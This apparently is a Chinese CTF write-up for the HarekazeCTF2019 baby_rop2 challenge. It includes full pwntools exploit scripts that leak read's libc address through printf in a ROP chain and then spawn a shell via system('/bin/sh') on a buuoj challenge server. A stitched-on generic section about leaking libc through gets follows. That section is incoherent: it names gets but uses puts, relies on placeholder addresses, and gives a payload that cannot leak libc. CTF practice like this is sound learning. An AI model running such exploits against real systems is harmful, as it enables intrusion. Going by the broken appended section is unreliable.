关于printf函数泄露地址的libc题型

题目来源:[HarekazeCTF2019]baby_rop2

拿到题目,运行一下,在检查一下它的架构和保护。

在这里插入图片描述

很明显,只有一次输入机会,并且是64位的架构,堆栈不可执行。

接下来,我们放入IDA查看一下源码。

在这里插入图片描述

可以看到很明显的栈溢出漏洞,read读入0X100字节大小的数据,但是该缓冲区只有0x28大小。所以可以在这进行栈溢出漏洞的操作。但是给我们的信息就这么多,我们找一下字符串吧

在这里插入图片描述

看来是没有/bin/sh 看来是我们自己找方法让他执行bin的调用吧。

接下来进行GDB调试吧。

在执行到read时,我们输入aaaaaaaaa,可以验证IDA里面的溢出字节是否正确,很明显IDA时正确的0x70 - 0x50 的字节,再加上8字节的覆盖到返回地址。

在这里插入图片描述

因为这道题,我们首先应该做的是泄露地址,泄露那个地址,我觉得可以是printf或者是read的地址都行,接下来我们就尝试一下吧。

我们在构建ROP链时,应该想我们需要怎样去泄露地址,才能达到我们所希望的程序执行,因为是64位的,我们需要一些 pop|ret 去放我们的参数,printf在执行打印格式化字符串时,有产生一个参数,然后我们还需要一个寄存器,来存放我们got表里所要的真实地址。

所以第一份payload用于泄露地址:

b'a'*28 + p64(pop_rdi) + p64(f_srt) + p64(pop_rsi_r15) + p64(printf_got) + p64(0) + p64(prinf_plt) + p64(main_addr)

解释一下,这里P64(0)的意思就是给R15寄存器填充对应的参数,pop_r15对应参数0,由于我们不用r15,随便设置一下它,我是设置成了0。 最后加个main函数,是我们返回到main函数,让程序走一遍,以便我们可以写入接下来的payload去控制程序流。

这下来,我们就去需要这些我们需要用到的值,由于ELF()自带可以寻找got plt symbols 所以这些我们就不用去寻找了。双击IDA,格式化字符串所在的位置,找到了他所对应的地址。

在这里插入图片描述

然后再去寻找gadget。
在这里插入图片描述

所以我们就找到,我们所用的gadget片段的地址了。

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./babyrop2')
#p = process('./babyrop2')
p = remote('node4.buuoj.cn',26128)

pop_rdi_ret = 0x0400733
pop_rsi_r15 = 0x0400731
f_str = 0x0400770
#read_got = elf.got['read']
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main_addr = elf.symbols['main']
payload = cyclic(0x28) + p64(pop_rdi_ret) + p64(f_str) + p64(pop_rsi_r15) + p64(printf_got) + p64(0) + p64(printf_plt) + p64(main_addr)
p.recvuntil('name?')
p.sendline(payload)

#got_addr = u64(p.recv(6).ljust(8, b'\x00')) 这里不能这样执行,因为会得到前6个字节,而这前6个字节大概率不是我们想要的地址。
printf_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))#7f是地址的开头,因为参数是逆序入栈的。所以要接受到7f之前的前6个
print(hex(printf_addr))  #当我执行这一串时,会报错,不知道为什么,泄露不了printf函数的真实地址。

泄露printf函数无望,那么我们只能去泄露read函数的真实地址了。

from pwn import *
from LibcSearcher import *

context.log_level = 'debug'
elf = ELF('./babyrop2')
#p = process('./babyrop2')
p = remote('node4.buuoj.cn',26868)

pop_rdi_ret = 0x0400733
pop_rsi_r15 = 0x0400731
f_str = 0x0400770
#ret = 0x04004d1
read_got = elf.got['read']
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_addr = elf.symbols['main']
payload = cyclic(0x28) + p64(pop_rdi_ret) + p64(f_str) + p64(pop_rsi_r15) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
#p.recvuntil('name?')
p.sendline(payload)

#read_addr = u64(p.recv(6).ljust(8, b'\x00'))
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(read_addr))

在这里插入图片描述

得到read的真实地址,接下来,就计算libc的基地址了。

libc = LibcSearcher('read', read_addr)
base = read_addr - libc.dump('read')
sys_addr = base + libc.dump('system')
str_bin_sh = base + libc.dump('str_bin_sh')
#base = read_addr - offect_base
#sys_addr = base + offect_sys
#str_bin_sh = base + offect_str

#p.recvuntil('name?')
payload1 = cyclic(0x28) + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(sys_addr)

p.sendline(payload1)
p.interactive()

1-4代码块是使用python的一个库,去计算libc。

5-7则是使用网站libc_searcher,寻偏移计算公式。(但是很不幸,这里面并没有所需的libc
在这里插入图片描述

打通了,ls一下;

在这里插入图片描述

好像并没有flag,然后`find -name “flag”

在这里插入图片描述

### 构造 ROP 链使用 `gets` 函数泄露 libc 基址的方法 #### 背景介绍 在现代操作系统中,为了防止缓冲区溢攻击,引入了许多安全机制,例如地址空间布局随机化(ASLR)、堆栈保护器(Stack Canaries)以及非执行内存页(NX Bit)。然而,在某些情况下,如果程序存在未受保护的函数调用(如 `gets`),则可以通过返回导向编程(Return-Oriented Programming, ROP)技术绕过这些防护措施。 以下是通过构造 ROP 链并利用 `gets` 函数泄露 libc 基址的一种方法: --- #### 步骤解析 1. **禁用 ASLR 和其他保护机制** 如果目标环境启用了 ASLR,则需要找到一种方式绕过它。这可能涉及多次运行程序以收集足够的信息或者依赖于部分泄漏的信息。对于本例中的编译选项 `-no-pie` 已经关闭了位置独立可执行文件的支持[^2],因此可以简化我们的工作流程。 2. **寻找合适的 Gadget** 在构建 ROP 链之前,需先分析二进制文件以提取可用的小工具(gadgets)。这些 gadgets 是存在于程序及其加载库中的短代码片段,它们将以特定顺序组合起来实现所需功能。 可以使用工具如 `ropper` 或者手动查找 gadget 来完成此操作: ```bash ropper --file ./vulnerable_program ``` 3. **准备输入数据结构** 输入的数据应设计成使得当控制流被劫持到我们指定的位置时,寄存器状态正好满足后续操作需求。具体来说,我们需要填充堆栈直到覆盖返回地址,并放置一系列精心挑选好的 gadgets 地址作为新的返回路径的一部分。 4. **调用 puts@plt 输地址** 利用已知偏移量计算得到实际加载至内存中的动态链接库起始点。假设我们知道标准 C 库内部某个固定符号相对于整个镜像头部的确切距离,则只需简单相减即可得 base pointer 的估计值。 下面是一个简单的 Python 脚本来生成 payload 并发送给服务器端交互式会话: ```python import struct # Offset to reach the saved EIP on stack after overflow. OFFSET = 0xXX # Address of 'puts' function inside PLT section (Program Linkage Table). PUTS_PLT = 0xYYYYYY # Pointer pointing towards string literal "/bin/sh\x00". BIN_SH_PTR = 0xZZZZZ payload = b"A" * OFFSET # Filler bytes up until overwrite point. payload += struct.pack("<I", PUTS_PLT) # Overwrite RET with address of puts(). payload += struct.pack("<I", BIN_SH_PTR) # Argument passed into puts(). print(payload.decode()) ``` 5. **捕获输结果推导 Libc Base** 当上述脚本成功触发后,远程服务将会打印对应字符串的实际映射地址。由于大多数发行版 Linux 上安装的标准版本之间差异较小,所以可以根据公开文档查询相应字段间的关系从而还原整体框架图谱。 6. **跳转至 system("/bin/sh") 执行命令外壳** 最终一步就是安排好所有必要的组件之后再次调整上下文切换过去真正启动 shell 进程结束任务。 --- ### 注意事项 尽管演示过程看似简洁明了,但在真实世界场景下往往面临更多复杂因素考量,比如不同架构下的字节序问题、多线程环境下竞争条件的影响等等都需要额外注意处理妥善才行。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Y_huanhuan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值